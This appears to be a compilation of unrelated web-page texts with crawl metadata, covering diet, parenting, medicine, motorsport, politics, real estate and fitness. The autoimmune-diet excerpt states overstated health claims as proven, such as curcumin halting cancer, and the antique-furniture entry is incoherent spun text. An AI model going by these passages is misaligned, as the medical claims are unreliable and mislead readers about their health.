manganese, potassium, phosphorus, selenium, zinc, B vitamins (B1, B2, B3, B5, and B6),Vitamin C, Vitamin E, Vitamin K, and dozens of additional trace minerals! Numerous studies have shown that some components in seaweed help fight inflammation! The fucoxanthin in seaweed can help reduce excessive inflammation in the body. Another health benefit of seaweed is supporting cardiovascular health. The antioxidant and anti-inflammatory properties of fucoxanthin can help thwart multiple processes involved in the progression of heart disease, while also modulating immune function. Turmeric: contains essential oils and the powerful active ingredient curcumin, which is a strong anti-inflammatory and antioxidant that protects the liver. Over the last few decades hundreds of studies have proven scientifically what Indian people have known for centuries -- that curcumin has the ability to halt or prevent certain types of cancer, stop inflammation, improve cardiovascular health, prevent cataracts and kill or inhibit the toxic effects of certain microbes including fungi and dangerous parasites. Vegetables: should be your primary carbohydrate to better manage your autoimmune disease as well as other diseases. Vegetables provide anti-inflammatories and antioxidants to help modulate your autoimmune disease. However, you should go with organic vegetables -- to reduce your exposure to pesticides and other chemicals. Anti-inflammatory properties abound in such foods as spinach, broccoli, peppers and kale. Set the goal of filling at least one-half of your dinner plate with vegetables, one-third of your plate with sea vegetables, and the remaining third with some form of lean protein. Wild Salmon: is rich in long chain omega-3 fatty acids DHA and EPA, which are the anti-inflammatory omega-3 fats that are readily used by our body to fight inflammation. The shorter chain omega-3 ALA, which is in flax, chia and walnuts, is actually not easily used by our body because it must first be converted into DHA or EPA, which is a very inefficient process. If you don't like fish, then, try an Omega-3 EFAs supplement. However, unprocessed cod liver oil may be a better option that a supplement because the oil in many supplements is oxidized. Fish is also a good source of the nutrient selenium, which is most concentrated in the thyroid. Selenium also helps to decrease inflammation. Yogurt: with active cultures are a good source of probiotics, beneficial bacteria which help keep the immune system and digestive system functioning at their best. However, most store-bought yogurt contains a lot of sugar and fructose corn syrup, and, not enough “live” cultures – most are either killed during the pasteurization process or die by the time they reach the grocery shelves. Use the organic or low fat versions without the extra fruit and sugar, or consider making your own yogurt. Now that you know what foods to eat, it's just as important, maybe even more important, to know which foods to avoid. There are many foods that can trigger an autoimmune response. As a result, you must avoid these foods and chemicals to prevent the immune system from over-reacting or from fueling cellular inflammation. Most of these foods should not surprise you, since they were originally identified as "dead" foods more than 12 years ago in the author's Death to Diabetes book and his Death to Diabetes Nutritional Program. 1. These foods cause inflammation. 2. These foods are all man-made. More specifically, when we have too many T suppressor cells our immune system is too weak and we get colds, fevers, influenza (flu), TB, cancer, etc. Eventually, that led to the creation of the DTD Autoimmune Diseases Nutritional Program. This program identifies the super foods to eat, the dead foods to avoid, the key supplements, and the immune modulators in order to address most autoimmune diseases. In addition, the nutritional program identifies the Th1/Th2 stimulators and suppressors. The DTD Autoimmune Diseases Wellness Program and Nutritional Program addresses these additional problems.	{ "timestamp": "2019-04-18T15:01:48", "url": "https://www.deathtodiabetes.com/autoimmune-protocol-aip-leaky-gut-nutritional-prog.php", "language": "en", "source": "c4" }
This entry was posted on September 27, 2010 at 10:46 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.	{ "timestamp": "2019-04-24T14:06:13", "url": "https://thelunchjournals.wordpress.com/2010/09/27/from-the-archives-alcohol/", "language": "en", "source": "c4" }
A Chance to Win a Copy of Mode7! Wishing you could hear that extra track on Mode7? Wanting a physical copy for a collector’s item? Now is your chance! On Sunday, July 19th, the next Barrel Roll podcast will record a show LIVE at 6pm (pacific time). One lucky winner will get a free copy of Mode7 shipped to them. The crew and I will also be interviewing Mustin of “The OneUps” and playing radio edits of 2 new tracks, one for each of the new albums he’s involved with. You can find the USTREAM channel here and don’t forget to stay tuned to WingDamage.com for more details!	{ "timestamp": "2019-04-21T10:04:59", "url": "http://www.mainfinger.com/blog/a-chance-to-win-a-copy-of-mode7/", "language": "en", "source": "c4" }
Despite always saying I only wanted to have ONE child in diapers at a time, it looked as if that would not be the case. I was pregnant with Lucie, and Ella seemed quite content to wear her Pull-Ups forever. She thwarted my attempts to potty train her on my time-table. With finance a concern, I started contemplating cloth diapering. When I mentioned what I was thinking to Brett, he said, "Are you crazy? With your gag reflex? You can’t do that!" Well, life went on…Lucie was born…and we started using disposable diapers. At the time, Ella was still using Pull-Ups (at about 30 cents each!), and I cringed every time I had to buy another package of diapers for either her or Lucie. Then one day I was perusing my friend Rachel’s online store Euphoria Maternity for a baby carrier. Her site also includes products for babies, and I noticed a link about cloth diapering. Rachel has provided TONS of information about cloth diapering on the site, and I got sucked in! I even emailed Rachel with additional questions and got her feedback about her personal experience with cloth diapering. (She is thorough and FAST at answering questions about any products on their site!) That inspired me to look at other sites as well for more information, and once again I was contemplating cloth diapering. I’m not going to get into the disposable vs. cloth debate – there is plenty of info out there if you’re interested in learning more. And I’m not going to pass any judgments on people for their diapering choices -- I’m sure cloth diapering is not for everyone. But, after all that I’ve read about cloth diapering, I personally felt like I just needed to give it a try at least. So, the other day I headed to diapers.com to buy a few bumGenius! 3.0 One-Size Cloth Diapers – I had a gift certificate (thanks Jill!) so I figured that was a good place to try out the diapers. (If I end up buying more, I’ll probably head over to Euphoria Maternity since they have comparable prices, they let you choose different colors AND they give you a free wetbag.) BumGenius 3.0 is designed to go on like a disposable, but it is adjustable so that the diaper grows with the baby – no need to buy additional sizes. Plus, if you’ve got more than one child in diapers, you tote the same diapers with you – it simplifies the diaper bag! Yesterday, I gave the diapers a prep wash and today I’m giving it a whirl. I’ll report thoughts about this cloth diapering thing at a later date. Can't wait to hear how you like the cloth diapers. I have tried kissaluvs and gdiapers but am interested in one size fits all!! Sara - I can't really compare BG to anything else because I haven't tried anything else! But, the design is pretty cool -- they just have these adjustable snaps so you can resize. It doesn't really add bulk to the diaper, but the insert that goes in is more bulky when on a smaller setting -- a portion is basically folded over and snapped down. I'd be happy to show you one if you want to check it out. So far, I haven't come up with a verdict on cloth diapers -- it's only been one day! But, I'll let you know what I decide.	{ "timestamp": "2019-04-25T00:10:22", "url": "http://www.lifewithlande.com/2008/04/my-newest-adventure.html", "language": "en", "source": "c4" }
Our new Master of Arts in Transformative Leadership and Spirituality was launched in Fall 2014. This pioneering 36-credit program has been designed for students who seek an academic grounding to guide them on their leadership and spiritual paths. The degree could lead to leadership roles in corporate, government, and non-profit organizations. It could also serve as continuing education for clergy, religious-education professionals, chaplains and counselors, as well as for those seeking to expand their personal knowledge and experience. Courses include Transformative Spirituality: Living in and Through the Spirit and Field Education in Leadership/Spirituality. Financial aid is available. I'd like to know more about this program at Hartford Seminary.	{ "timestamp": "2019-04-20T03:24:59", "url": "https://www.hartsem.edu/master-of-arts-in-transformative-leadership-and-spirituality/", "language": "en", "source": "c4" }
Dr. Morris Hartstein treating a Palestinian girl from Gaza with a lymphatic malformation in one of her eyes. She received treatment in an Israeli hospital. RAANANA, Israel — In August 2014, Dr. Morris Hartstein went on a trip to Gondar, Ethiopia, where thousands of Ethiopians seeking to immigrate to Israel live and wait while Israel considers their eligibility to make aliyah. On his second day there, Hartstein showed up for the afternoon mincha service and saw more than 100 people waiting patiently. He thought they were there to pray. It turns out they were there to see him. “They heard there was an eye doctor present and they came hoping to get help,” Hartstein said. Hartstein had come from his home in this Tel Aviv suburb to volunteer at the Jewish aid compound in Gondar, bringing along his wife, Elisa, and their four children. But Hartstein, an ophthalmic, plastic and reconstructive surgeon, was not there in an official medical capacity and had only a penlight with which to check their eyes. With the help of an Israeli university student volunteer acting as translator, Hartstein managed to examine all of the Ethiopians, who claim Jewish ancestry and are known as Falash Mura. He found that half of the Ethiopians had ocular health problems, often stemming from constant unprotected exposure to harsh sunlight and unsanitary living conditions. The Ethiopians had dense cataracts, severe conjunctivitis, trachoma and corneal scarring. Hartstein also saw children with crossed and lazy eyes in need of correction. Hartstein refused to leave things as they were. He and his family began making more frequent trips to Ethiopia, running periodic clinics during which he sees up to 500 patients at a time. He brings with him hundreds of pairs of donated eyeglasses and large quantities of eye drops and medications. Flying back and forth to do volunteer work in Africa was the kind of thing Hartstein, 54, never could have foreseen being a part of his life in Israel, where he and his family moved more than a decade ago from St. Louis. The family initially spent a sabbatical year in Raanana, during which Hartstein, a tenured professor at St. Louis University, established ties with Assaf Harofeh hospital. The sabbatical extended to two years, and then the family decided to stay permanently in Israel. They formally made aliyah in 2009. Hartstein has always been a Zionist. He grew up Modern Orthodox in St. Louis, and both he and his wife had spent time in Israel but they never seriously thought about immigrating until the sabbatical. Although Hartstein knows many American doctors who commute back to the U.S. for work, he decided that option wasn’t right for his family. Instead he stayed in Israel, doing reconstructive and medically indicated surgery at the hospital while also maintaining a private practice in Herzliya, where his work includes elective plastic surgery. Elisa Hartstein runs her own online company designing and selling clothing for breastfeeding women. Having learned Hebrew from a young age, Hartstein had no problem with the language, and he quickly mastered Hebrew medical terminology. But there were other challenges. Hartstein was accustomed to a certain way of doing things from his medical training at Harvard University and Bellevue Hospital at New York University, and from his work at St. Louis University Hospital. In Israel, the medical culture was different. “There is just a single secretary for my department, no one has a designated private office, and people just walk in on you when you are in the middle of something — even while examining a patient,” Hartstein said with a laugh. One pleasant surprise, he said, is that politics stops at the hospital door. Hartstein treats many Palestinian patients, including cases from Gaza. He and others work hard to secure funding and permits to get such patients into Israel for proper care. After one 5-year-old Palestinian girl with a rare lymphatic malformation engulfing her right eye came with her grandmother to Hartstein for treatment, the girl’s father — who was not permitted to accompany her into Israel — did not hesitate to post a photo on social media of the yarmulke-wearing Hartstein with a sincere message of praise and thanks. In the summer of 2014, as the war in Gaza raged, Hartstein treated another young Gazan girl who had suffered severe burns from a house fire. The doctor and his staff restored her eyelids using skin grafts. Hartstein said he is in regular contact with his Gaza patients and a Palestinian ophthalmologist there with whom he coordinates patient care. Meanwhile, the couple’s eldest child, Eliana, 18, recently completed high school and now serves in the Israeli army. She and her siblings — Dalia, Zack and Jonah, now all teenagers – have gone back to Ethiopia several times to help out with their father’s clinics. Hartstein has deepened his connections to Ethiopia. He established a program in 2017 to bring Ethiopian medical residents to Israel for a month of training at his own hospital. On his trips to Ethiopia, Hartstein lectures and performs surgery at the Gondar hospital. “It turned out I needed an Ethiopian medical license, so I got that with the help of the Himalayan Cataract Project,” Hartstein said, referring to an organization that works to eradicate preventable and curable blindness in the developing world. He recently started a cataract surgery program in Gondar, where the chair of the eye department performs cataract surgery for $50 to $80 per patient. The funding comes from a group called the Struggle to Save Ethiopian Jewry. There have been 15 surgeries and the outcomes have been good, according to Hartstein. Overall, Hartstein said, the move to Israel was one of the smartest decisions he ever made.	{ "timestamp": "2019-04-26T08:02:17", "url": "http://thejewishstar.com/stories/thejewishstar.com/stories/eye-doc-moved-to-israel-makes-difference-in-africa,15567", "language": "en", "source": "c4" }
[STATESVILLE, NC, 6/19/2018] After a stage 2 win for Stewart Friesen, coming off of his pole win and second place finish the week before in Texas, Iowa was looking good for Friesen’s first win in the NCWTS. A crash on lap 135 however would dash all hopes for Friesen and the HFR crew. Suffering a left front flat, Matt Crafton slid up the track and got into John Hunter Nemecheck, causing a wreck that Friesen and Ben Rhodes were caught up in. Despite suffering damage to the no. 52 Chevy Silverado, Friesen was able to pull out a top 10 finish, battling his way back to 9th place. “This was not the end result we wanted obviously, but salvaged some points anyway. So cool to have the speed that we do with our Halmar Chevy right now so I’m excited to get to Gateway next week.” said a disappointed but hopeful Friesen. Despite the less than desirable finish, Friesen picked up enough points to move up to 4th in overall points. He is now the highest ranked driver in points without a win. Before shipping off to Gateway Motorsports Park, Friesen will get another Short Track Super Series race in on Wednesday the 20th at Dundee NY’s Outlaw Speedway. With one win in the series at Middletown NY’s Orange County Fair Speedway, Friesen looks to extend his points lead by parking it at Outlaw. Friesen maintains a busy schedule racing between dirt and asphalt and while seat time in any car on any surface is good, Friesen’s relative inexperience with the asphalt tracks of the NCWTS is something the driver is aware of. When asked how he prepares for racing on tracks he has little experience with, Friesen says he has been using the racing simulator iRacing to better familiarize himself with new tracks.	{ "timestamp": "2019-04-25T14:23:32", "url": "https://stewartfriesen.net/2018/06/21/stewart-friesen-leads-48-laps-wins-satge-2/", "language": "en", "source": "c4" }
Pakistanis are understandably cynical about politics. But during my recent visit I was surprised to find people invigorated with a new found idealism which is enabling a break with politics as usual. At the centre of all these expectations is the person Imran Khan who has been riding on the crest of a human tsunami. In this episode of Al Jazeera’s People & Power, you get to witness some of this new found energy. Once an international cricket star, Pakistan’s Imran Khan is now playing for a greater prize – to be his country’s next prime minister. But can he upset the political status quo? People & Power has hit the campaign trail to find out. he is the next man indeed.	{ "timestamp": "2019-04-26T15:45:17", "url": "https://pulsemedia.org/2012/06/01/imran-khan-next-man-in/", "language": "en", "source": "c4" }
The situation on the border is out of control. Port of entry cannot process any more people. Detention centers are filled to capacity. Border enforcement authorities I have been apprehending close to 100,000 people a month. The number of apprehensions has been around six-figures since the start of the year. President Trump has threatened to shut down the border, while continuing to push for his border wall initiative. This is one of the reasons why he was elected, folks. He has to follow through on solid border enforcement measures, especially the wall. That was a key campaign promise. With Democrats now in charge of the House, it makes accomplishing that goal all the more difficult. Yet, first things first, Trump has shaken up the Department of Homeland Security, firing Kristjen Nelsen as DHS Secretary. Kevin McAleenan is serving as interim DHS head. He was the Commissioner for U.S. Customs and Border Protection. While I don’t think Nielsen wasn’t terrible, it was time for a change—what to do as far as the border situation was stuck in neutral. At no time has the president indicated, asked, directed or pressured the acting secretary to do anything illegal. Nor would the acting secretary take actions that are not in accordance with our responsibility to enforce the law,” said Houlton in a statement to the news organization. So, this was another story that wasn’t true. It’s another story that wasn’t verified. It’s another time anonymous sources were wrong. And yes, Trump went after NBC on social media, as he should.	{ "timestamp": "2019-04-24T21:59:03", "url": "https://townhall.com/tipsheet/mattvespa/2019/04/13/you-are-fake-news-trump-hits-nbc-news-over-story-about-pardoning-acting-dhs-secr-n2544732", "language": "en", "source": "c4" }
Sick Leave? How does it hurt business? Posted 11:21 am by LuAnn Bean & filed under Accounting Information Systems, Accounting Principles, Auditing, Cost Accounting, Ethical Dilemma, Financial Accounting, Intermediate Accounting, Managerial Accounting, Uncategorized. Posted 3:16 pm by LuAnn Bean & filed under Accounting Information Systems, Accounting Principles, Advanced Accounting, All Articles, Auditing, Cost Accounting, Financial Accounting, Intermediate Accounting, Managerial Accounting, Video Updates. Posted 3:03 pm by LuAnn Bean & filed under Accounting Principles, Advanced Accounting, All Articles, Auditing, Cost Accounting, Financial Accounting, Fraud Accounting, Intermediate Accounting, Managerial Accounting, Video Updates. Posted 12:15 pm by LuAnn Bean & filed under Accounting Principles, Advanced Accounting, All Articles, Auditing, Cost Accounting, Financial Accounting, Financial Reporting and Analysis, Financial Statement Analysis, Fraud Accounting, IFRS, Intermediate Accounting, International Accounting, Managerial Accounting, Video Updates. Posted 3:07 pm by LuAnn Bean & filed under Accounting Principles, Advanced Accounting, All Articles, Auditing, Cost Accounting, Financial Accounting, Financial Reporting and Analysis, Financial Statement Analysis, Fraud Accounting, IFRS, Intermediate Accounting, International Accounting, Managerial Accounting, Uncategorized.	{ "timestamp": "2019-04-25T04:47:19", "url": "https://wileyaccountingupdates.com/tag/sales/", "language": "en", "source": "c4" }
XacBank is seen as one of the most solid financial institutions in Mongolia. Still, it lacks broad access to long-term debt to sustainably grow. By providing this scarce type of financing to XacBank, SIFEM will contribute to financial sector development in Mongolia.	{ "timestamp": "2019-04-21T22:20:12", "url": "https://www.sifem.ch/news/article/syndicated-senior-loan-to-xacbank-mongolia/", "language": "en", "source": "c4" }
The Physical Therapist in Home Health is responsible for the assessment and evaluation of patient care needs related to functional status/mobility, endurance/stamina, pain and other medical conditions. Based on this assessment and evaluation, the Physical Therapist works to help determine a treatment plan, performs interventions aimed at improving and enhancing the patient's well being, and evaluates the patient's progress. Our client is a preferred post-acute care partner for hospitals, physicians and families nationwide. From home health and hospice care to long-term acute care and community-based services, we deliver high-quality, cost-effective care that empowers patients to manage their health at home.	{ "timestamp": "2019-04-24T16:54:52", "url": "https://synerfac.jobs.net/job/physical-therapist/J3W8BQ73HQFTZRZ0ZMK/", "language": "en", "source": "c4" }
Proper furniture and decor can make room exude elegance, royalty and complete opulence. Even in the modern times, antique furniture in the bedroom is a trend and offers lot of style. Decorating intended to absorb in an antique fashion with furniture from olden days makes it look different from total ones. I stopped working and provided meager assistance by organizing their car since workouts beginning to resemble the bed room of a homeless buyer. We took out a load of clothes and dumped a wide selection of food issues that had coagulated on the floorboard. I’m pretty certain a fungus of some type was growing and the slide seemed hazardous to kids who put most my way through their jaws. Rule number one, clean out all the junk and clutter. Although seem obvious, but sometimes people think that a house that looks “lived in” may be appealing. A person may have a beautiful home with many wonderful features, it can be hard for potential buyers to pass over clutter. Seeing things from place and disorderly likewise inadvertently emit the impression that tend to be hidden difficulties with the home. This is when people may start thinking about bad wiring or hoses. While this can be easily investigated, sometimes the idea can to put it simply people switched off. While antique is a method of furniture, it’s more beneficial to think of it as a category and focus on the specific styles within that group furniture. When coming up with the decision to purchase antique furniture queens, very important to your design of the room and which styles of antique furniture will complement that design. Things to consider are various types of hardware used, various wood types, and a lifetime in that this furniture was built. And how about the people I surround myself sufficient reason for? My son, Greg, is going away and off to college. Does that create an opening to think more deeply as into the direction of my life and who I need to spend it with? There is often a realization since the bathroom is higher just a place to bath in. May also be use this room to exhibit their style, while others see the bathroom as an apartment of our world. This is where some people go to get away from it all. Reading a bestseller in a hot tub can be described as a very relaxing experience. This truly is a night time out body fat forget. You will discover something special about the history of this building, coupled with the romantic setting about the grounds. I hope that if you do have a chance to look at the Country Squire Restaurant & Inn, that you’re going to be as impressed by it as I am.	{ "timestamp": "2019-04-19T14:38:58", "url": "http://bj36.com/index.php/2017/10/21/details-of-fake-antique-furniture-2/", "language": "en", "source": "c4" }
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Success isn't an easy task. No one is going to be there with you, holding your hand along the way. It’ll just be you, putting in the work every single day all by yourself. Think you can handle that?Most people can't. They can’t handle being an individual who stands up for their dreams. Most people aren't willing to be outcasted for a short period to achieve the success they desire long-term. The pain to gain ratio is perceived by them to be too high, meaning the pain of achieving success isn't worth it to them. For me, the pain is something I choose to accept as part of the process and rather than trying to avoid it. I allow and validate the pain and then tackle it head-on by letting the feelings wash over me for a short-period of time. Hey, no pain, no gain, right? Losing friends and family is a real possibility and something that happens to a lot of people who decide to chase after the massive success the dream of achieving. Some friends and family could turn their backs on you, leave you feeling isolated and betrayed. Understand that the reason why some of your friends and family will start to distance themselves, unexpectedly despise and outcast you is that they secretly wish for you not to change, for you to stay the same as how you were rather than changing into who you’re becoming. They might see this transformation as a threat, and unconsciously they’re doing what they need to do to protect themselves from being hurt by you in the future. The friends that leave you now aren’t the friends that you would keep around in the future anyway, so take this as a blessing rather than a curse. Instead of having to be the bad guy in the future, they did the dirty work for you and left you with your hands clean. Your parents might tell you to get a real job, go study for your masters, or to give it all up and join the family business. Your friends might tell you that you need to loosen up and that there's no point in working as hard as you are and that success isn't something that happens to ordinary people. Don’t take this personally it has less to do with you and more to do with them. Your ambitions might threaten them or maybe they regret never following and accomplishing their own dreams. People don’t have to believe in your dreams, that’s not their job. It’s your job to keep your dreams healthy and alive. Worry less about people-pleasing and more on what you need to get done and the pay-off will be dramatic in the long run. Harness your frustration and anger by using this energy as motivation to prove the doubters and haters wrong. Success is the best revenge and success speaks louder than anything you could ever dream of telling those people. When you fail, it feels like there's no one there to support you and pick you back up. Remember the friends that left you and the family that decided to turn their back on you? Do you think they care that you failed? Well, they might act like it, but deep down they're jumping up and down with joy, and they can't wait to tell you "See I was right, and you were wrong! I told you that you were making a mistake!' When your blog doesn't get any hits, your youtube video doesn't get any plays, or your business takes a downturn and takes a loss, the person that's affected by it the most is you. Only you have to experience these feelings because, in the end, it's your failure and no one else. But Failure is not an excuse to quit. Failure is just feedback that lets you know what doesn’t work. Take that information, get the hell back up and get back on the road and never allow yourself for even one second to entertain the thought of giving up. Fail harder. Fail better. Fail until the thought of failure no longer scares you. Fail until you succeed. Don’t become another carcass on the path to success, another checkpoint for another adventurer to pass up on his or her way to the top of the mountain of success. The path to success if filled with the carcasses of those who tried and failed and although passing those people might feel good, remember that you’re not there to beat them. You’re there to reach the end goal and become successful. Don't let the time, energy, and livelihood you sacrificed every day that you were lonely and depressed go to waste. Success is a lonely road, and it's even lonelier on the top, but I bet there's one hell of a view up there and that's a perspective that I'm not willing to miss out on. Have you been lonely before while chasing success? Do you think there's anything else that people who chase success go through that cause them to be lonely? Let me know in the comments below!	{ "timestamp": "2019-04-19T18:34:46", "url": "https://www.esoteric-coaching.com/blog/tag/lonely", "language": "en", "source": "c4" }
The standard Elap Infrared control units are available with either 7, 9 or 12 Functions. The Elap Infrared Secondary Control unit is extremely compact , neat and provides comfortable operation of the vehicles secondary functions. The unit, including a leather knob, mounts directly onto the steering wheel and is adjustable in tilt angle and position, according to the user's preferences. It is available to control up to 12 functions of the vehicle's secondary functions, including Horn, Indicators, Hazards, Lights, Wipers, Wash-Wipers. No restriction to the airbag operation is encountered with this unit due to its small size and location.	{ "timestamp": "2019-04-23T21:50:32", "url": "https://cuddihymobility.ie/infrared-controls.html", "language": "en", "source": "c4" }
A version of this article appeared in The Planner magazine (the RTPI’s business monthly magazine for planning professionals), February 2017. The Planning Under Pressure (The Planner, December 2016) article reflected how downtrodden many in the planning profession feel. The finger of blame is pointed at Government for perpetual changes to the system, at politicians who see planning as a barrier to growth, at an increasingly adversarial culture, and at funding cuts. The Royal Town Planning Institute (RTPI) has its “Proud of Planning” campaign, but we need to avoid an “us-against-the-world” mentality, which blames others. It is now time for the planning profession to look at itself honestly and take action on what it can do positively and proactively to change. First, we should halt the “woe-is-me” narrative. Yes, resources are tight, and the political narrative can be unhelpful, but these issues are not unique to planning. Looking back through to a supposed past golden era is unhelpful. Now is the time for innovation and a positive forward-looking mind-set. Second, we should stop using impenetrable jargon, and start communicating in a way people understand. We should embrace social media. Look at Jen Keesmaat, the Chief Planner of Toronto with over 34,000 Twitter followers and a blog exploring issues in more detail. Too many local plans are long, boring documents that could apply to anywhere. Instead they should set out a clear, compelling and distinctive vision for how a place will develop and change. Third, we should take seriously and respond constructively to criticisms about commercial awareness and attitudes to growth. We must challenge the negative and jaundiced views of developers that some planners still hold. Sufficient weight must be given to the economic benefits of development as well as negative environmental impacts. We all should increase our commercial understanding. Fourth, we need to be more politically aware. Local planning authorities are politically led organisations. Planners need to listen better to what Councillors or Ministers want to achieve and to seek a way to do so. Developers and consultants could do more to understand political priorities. All of us have a responsibility to build a less adversarial culture in planning. Fifth, we must reduce the costs and complexities that businesses and people face in navigating the planning system. Whilst these often result from statutory requirements, we should look locally at what can be simplified. Finally, we need to be more pragmatic and confident. I once asked a Council Chief Planner how they had put a local plan in place quickly when so many others have failed to produce up-to-date plans. His response was, “well, we just got on with it”. Let’s regain our confidence as a profession, be more can-do, politically and commercially aware, and communicate and engage with people in new ways. Most of all we need to get on with it, and show the will and imagination to make a difference.	{ "timestamp": "2019-04-23T00:36:15", "url": "https://citypolicy.wordpress.com/2017/02/02/lets-regain-our-confidence-as-a-profession/", "language": "en", "source": "c4" }
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Join Team SHUZZ in the 2017 FitTeam Palm Beaches Marathon! 100% of all money raised goes directly to providing new shoes to children in need around the world. Team SHUZZ is a local charity running team that raises money to purchase new shoes for children in need around the world! Our team is committed to running the full/half marathon on Sunday, December 3, 2017! 300 million children world-wide live a life without a pair of acceptable shoes. We believe everyone can make a difference in the mission to put suitable shoes on the feet of every child in need. The money raised will go directly to Shuzz, a south Florida 501c3 non-profit organization that seeks to put a pair of shoes on the feet of every child for the purpose of preventing foot injury and disease. Join us and run the 2017 Palm Beaches Marathon as part of our Shuzz Team! People in all fitness levels are encouraged to join – Runners, Joggers & Walkers!	{ "timestamp": "2019-04-23T00:20:16", "url": "http://www.shuzz.org/2017-fitteam-palm-beaches-marathon/", "language": "en", "source": "c4" }
Lake Nona Golf & Country Club, Is one of the most exciting and inviting private golf and country club communities in the world. Located in the beautiful city of Orlando, Lake Nona Golf and Country Club is a gateway to all the exhilarating activities and entertainment Central Florida has to offer. Set against rolling fairways, lush landscaping and wooded conservation areas, this conveniently located private sanctuary of luxury real estate offers a wealth of world-class amenities nestled along the shores of Lake Nona, one of Orlando's most pristine group of lakes.With the Tom Fazio championship golf course, elegant clubhouse with lodge, and a luxurious bath and racquet club, Lake Nona Golf & Country Club brings its members and residents a full array of leisure activities.	{ "timestamp": "2019-04-26T13:59:25", "url": "https://www.orlandohomesbydevito.com/lake-nona-homes-for-sale-orlando/list/4/", "language": "en", "source": "c4" }
1190 UPPER OTTAWA CONDOS located in is a good place to live in HAMILTON. With 1 storeys and 77 units available 1190 UPPER OTTAWA CONDOS is the best place for a modern urban life. Developed by DANIELS CORPORATION, 1190 UPPER OTTAWA CONDOS stands like a masterpiece of style and originality. Made available for public (1977 07 29) this condo project is the star or . As of today it's status is RESALE. There are so many more benefits to living a condo lifestyle in Toronto than we have listed for you here. Whether it is affordability, safety and security, investment appreciation, interior decoration customization, or something else, there’s no question you’ll be a winner. I want to know more about 1190 Upper Ottawa Condos on 19 45 Queenslea Dr 1190 Upper Ottawa St. Please reply me with some detailed info.	{ "timestamp": "2019-04-18T13:18:55", "url": "http://kingshah.com/1190-upper-ottawa-condos-19-45-queenslea-dr-1190-upper-ottawa-st", "language": "en", "source": "c4" }
Class of 2007 Karlisha B. Check out all of the names of the Clara Barton High School alumni that attended high school in Brooklyn that are listed above. Registering will allow you to join the directory. Don't forget to upload your Clara Barton High School pictures and check on the latest info about any Clara Barton High School reunion.	{ "timestamp": "2019-04-18T19:01:03", "url": "http://clarabartonhighschool.net/alumni-list-b.html", "language": "en", "source": "c4" }
Slimming down is one of the best things you can do for yourself. Not only will you look and feel better, but you'll improve your overall health and reduce your risk for conditions like cardiovascular disease and diabetes. For optimal health, the goal of any weight loss diet should be to lose body fat -- not just body weight -- and build lean muscle mass. A nutritious diet and regular exercise is the most effective way to achieve this. Eat a diet of whole, unprocessed, unrefined foods such as fresh fruits and vegetables, lean meats, whole grains, nuts and seeds and low-fat dairy. Drink water and herbal tea, not soda or any other sweetened beverage. Even fruit juice should be avoided, as it's a concentrated source of calories. If you can't live without sweetener, choose stevia, a calorie-free natural sugar substitute. Serve yourself proper portion sizes at each meal and snack. It's easy to go overboard with meat, dairy and grains. A serving size is 3 ounces of meat, 1 cup of milk, 8 ounces of yogurt and 1.5 to 2 ounces of cheese, one-half cup of grains and 1 slice of bread. Reduce your caloric intake gradually. In order to lose body fat, you need to create a caloric deficit, meaning you need to consume fewer calories than you burn each day. Creating a deficit of about 500 to 1,000 calories each week will lead to an approximate weight loss of 1 to 2 pounds a week, which is a safe rate of weight loss. However, you don't want to make drastic changes all at once. Decrease the amount of calories you consume by 100 every week. It gives you a chance to observe your progress and energy levels so you don't end up cutting too many calories. Limit the number of times you eat out each week. Restaurant foods are high in fat and calories, and typical portions sizes are two to three times what they should be. When you do it out, choose proteins that aren't breaded or fried and dishes without sauces, and ask for dressings on the side. Ask your server to box up one-half to one-third of your meal before he brings it to the table so you avoid overeating. Exercise regularly, including aerobic activity and strength training. Building lean muscle mass increases your body's resting metabolism so you burn more fat even while you're resting. The Centers for Disease Control and prevention recommends a minimum of 150 minutes of moderate-intensity aerobic activity and two strength-training sessions targeting all the major muscle groups each week. However, more is better. If you really want to say goodbye to your love handles, increase the frequency and intensity of your workouts. Get adequate sleep and reduce stress levels. Poor sleep can affect your energy levels the next day, which can make you skip your workout, and fatigue can lead to poor food choices. High stress levels cause your body to produce cortisol, a stress hormone. Excess cortisol has been linked to excess abdominal fat, according to the University of New Mexico. Get seven to 9 hours of sleep each night, and make a plan to address stressors in your life, whether they be financial, professional or personal. Exercise is an effective stress-reducer, so you can kill two birds with one stone. When you're feeling stressed, go for a hike or practice yoga instead of reaching for a bowl of comfort food. ShareCare: Is There a Calorie Minimum Below Which People Should Not Go?	{ "timestamp": "2019-04-23T05:58:42", "url": "https://healthyliving.azcentral.com/lose-weight-dissolve-fat-15362.html", "language": "en", "source": "c4" }
You can update your name and upload a profile picture if you like. Your profile information will automatically appear in the Relyence header bar. You can choose between a personal profile and business page (both with free or paid options). Facebook Profile Page Facelift, 2005. The " There's more than one way to create a unique, polished LinkedIn profile. Thirty minutes per week is all you need – no struggle necessary. The more detailed and clear your profile information is, the more highly appreciated it is. Therefore, you had better spend time looking after it carefully. A Pinterest profile picture may not be as important as that of Facebook or Twitter profile pictures. However, you still need to use a nice one. How to use a Custom Header and Custom bottom tab bar for React Native with React Navigation? The preview photo size is now different, and they made it fairly larger so it's not necessary to leave the stream in order to see it. You can edit and add creative images as your cover photo that represents you or your business in the correct sense. The Ultimate Guide to a Perfect LinkedIn Profile. Last Updated: Dec. Edit and Prioritize your LinkedIn Skills. Optimize your LinkedIn profile by following LinkedIn's recommendations.	{ "timestamp": "2019-04-19T09:19:14", "url": "http://welltify.xyz/When-was-the-last-time-you-updated-the-profile-pictures-or-header.html", "language": "en", "source": "c4" }
Longhunter, longknife, woodsrunner, woodsman, backwoodsman, scout – these were all terms used to describe those early colonists in the Americas who lived their lives at the fringe of civilization. Living off the land, adopting and adapting the survival and living skills of the Native Americans, these men were the epitome of the early American pioneer spirit – free, independent, and possessing an indomitable will and iron spirit; their only companions a musket or rifle, a sturdy knife, and a good hatchet or tomahawk. This class will focus on the use of the tomahawk as a close-quarter combat weapon. Grips, stances, attacking and defending, ranges of combat and fighting theory will all be closely examined. The second half of the class will examine the use of the longknife in conjunction with the tomahawk. We will also spend some time examining the history and evolution of these weapons, as well as looking at methods of carriage and drawing. Students should bring some form of protective eyewear/fencing mask as well as a belt or sash to practice brining the weapons into use. We will have some training weapons available, but any student wishing to bring their own must cover the edge of any live-blade weapons.	{ "timestamp": "2019-04-24T09:50:49", "url": "http://www.burningmountain.ca/tomahawk-and-longknife-2/", "language": "en", "source": "c4" }
